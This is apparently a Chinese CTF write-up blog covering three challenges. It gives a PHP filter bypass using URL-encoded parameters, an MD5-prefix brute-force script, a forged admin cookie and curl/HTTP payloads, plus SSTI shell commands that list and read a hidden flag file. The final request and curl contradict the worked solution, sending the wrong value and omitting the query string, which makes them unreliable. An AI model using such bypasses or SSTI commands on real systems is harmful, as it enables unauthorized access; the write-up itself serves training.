淘汰赛

1.sign in

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);
include_once 'flag.php';
if ($_SERVER['QUERY_STRING']) {
    if (preg_match("/[A-Za-z]+/", $_SERVER['QUERY_STRING'])) {
        die("I hate English!");
    }
    if (substr(md5($_POST['nsilab']), 0, 4) !== "ba3f" || $_GET['hi'] !== "web") {
        die("Oops! It's wrong!");
    }
    if ($_COOKIE['user'] !== 'admin') {
        die("You are not admin!");
    }
    locate();
} else {
    highlight_file(__FILE__);
}
?>

三层过滤 以下是对该PHP代码的详细解释及解题思路:


代码逻辑分析

  1. 错误报告与文件包含

    1
    2
    3
    
    php
    error_reporting(0);            // 关闭错误显示
    include_once 'flag.php';       // 包含flag文件(关键目标)
    
  2. 查询字符串检查

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    
    php
    if ($_SERVER['QUERY_STRING']) {
        // 检查查询字符串是否包含字母
        if (preg_match("/[A-Za-z]+/", $_SERVER['QUERY_STRING'])) {
            die("I hate English!");
        }
        // 其他条件...
    } else {
        highlight_file(__FILE__);  // 无查询字符串时显示源码
    }
    
    • 漏洞点$_SERVER['QUERY_STRING'] 是原始未解码的字符串,可通过URL编码绕过字母检测。
  3. MD5校验与参数检查

    1
    2
    3
    4
    
    php
    if (substr(md5($_POST['nsilab']), 0, 4) !== "ba3f" || $_GET['hi'] !== "web") {
        die("Oops! It's wrong!");
    }
    
    • 要求POST参数 nsilab 的MD5值前4位为 ba3f
    • GET参数 hi 必须等于 web
  4. Cookie权限校验

    1
    2
    3
    4
    
    php
    if ($_COOKIE['user'] !== 'admin') {
        die("You are not admin!");
    }
    
    • 需设置Cookie user=admin
  5. 成功条件

    1
    2
    
    php
    locate();  // 猜测此函数会输出flag
    

解题步骤

1. 绕过查询字符串字母检测

  • 目标:传递 hi=web,但确保 QUERY_STRING 无字母。

  • 方法

    :将参数名和值URL编码为十六进制形式:

    • hi%68%69(h的ASCII码是0x68,i是0x69)
    • web%77%65%62(w=0x77, e=0x65, b=0x62)
  • 构造查询字符串

    1
    2
    
    plaintext
    ?%68%69=%77%65%62
    
    • $_SERVER['QUERY_STRING']%68%69=%77%65%62(无字母)。
    • PHP自动解码后,$_GET['hi']web

2. 碰撞MD5前4位为ba3f

  • 目标:找到字符串 nsilab,满足 md5(nsilab)[0:4] == "ba3f"

  • 暴力破解脚本

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    
    python
    import hashlib
    
    target = "ba3f"
    for i in range(1000000):
        s = str(i)
        hash_md5 = hashlib.md5(s.encode()).hexdigest()
        if hash_md5.startswith(target):
            print(f"Found: {s} → {hash_md5}")
            break
      // Found: 35350 → ba3fe3d296f3e7269b66f163d31b3dc3
    
    • 示例结果nsilab=35350

3. 设置管理员Cookie

  • 添加Cookieuser=admin

4. 发送完整请求

1
2
3
4
5
6
7
http
GET /?%68%69=%77%65%62 HTTP/1.1
Host: target.com
Cookie: user=admin
Content-Type: application/x-www-form-urlencoded

nsilab=12345

漏洞总结

漏洞类型 利用方法 防御建议
URL编码绕过 参数名和值URL编码为十六进制 检查解码后的参数
MD5弱校验 暴力碰撞前4位 使用强哈希(如SHA-256)
Cookie权限控制不严 直接设置Cookie为user=admin 服务端Session管理或签名Cookie

最终Payload示例

1
2
3
4
bash
curl -X GET "http://contest.ctf.nefu.edu.cn:33079/" \
     -H "Cookie: user=admin" \
     -d "nsilab=35350"

成功触发后,服务器会执行 locate() 函数并返回flag。

2.ezssti

输入49 发现可以SSTI 使用焚靖 get 方法传name

cd .. && ls -a

得到隐藏的.flll4ggggg文件 用tac /.flll4ggggg得到flag

Art

学姐手把手教学,效果显著()

灵感来源:Artfuscator

IDA打开,进入main函数

Ctrl 加滚轮放大

就能看到flag

Licensed under CC BY-NC-SA 4.0
Build by Oight
使用 Hugo 构建
主题 StackJimmy 设计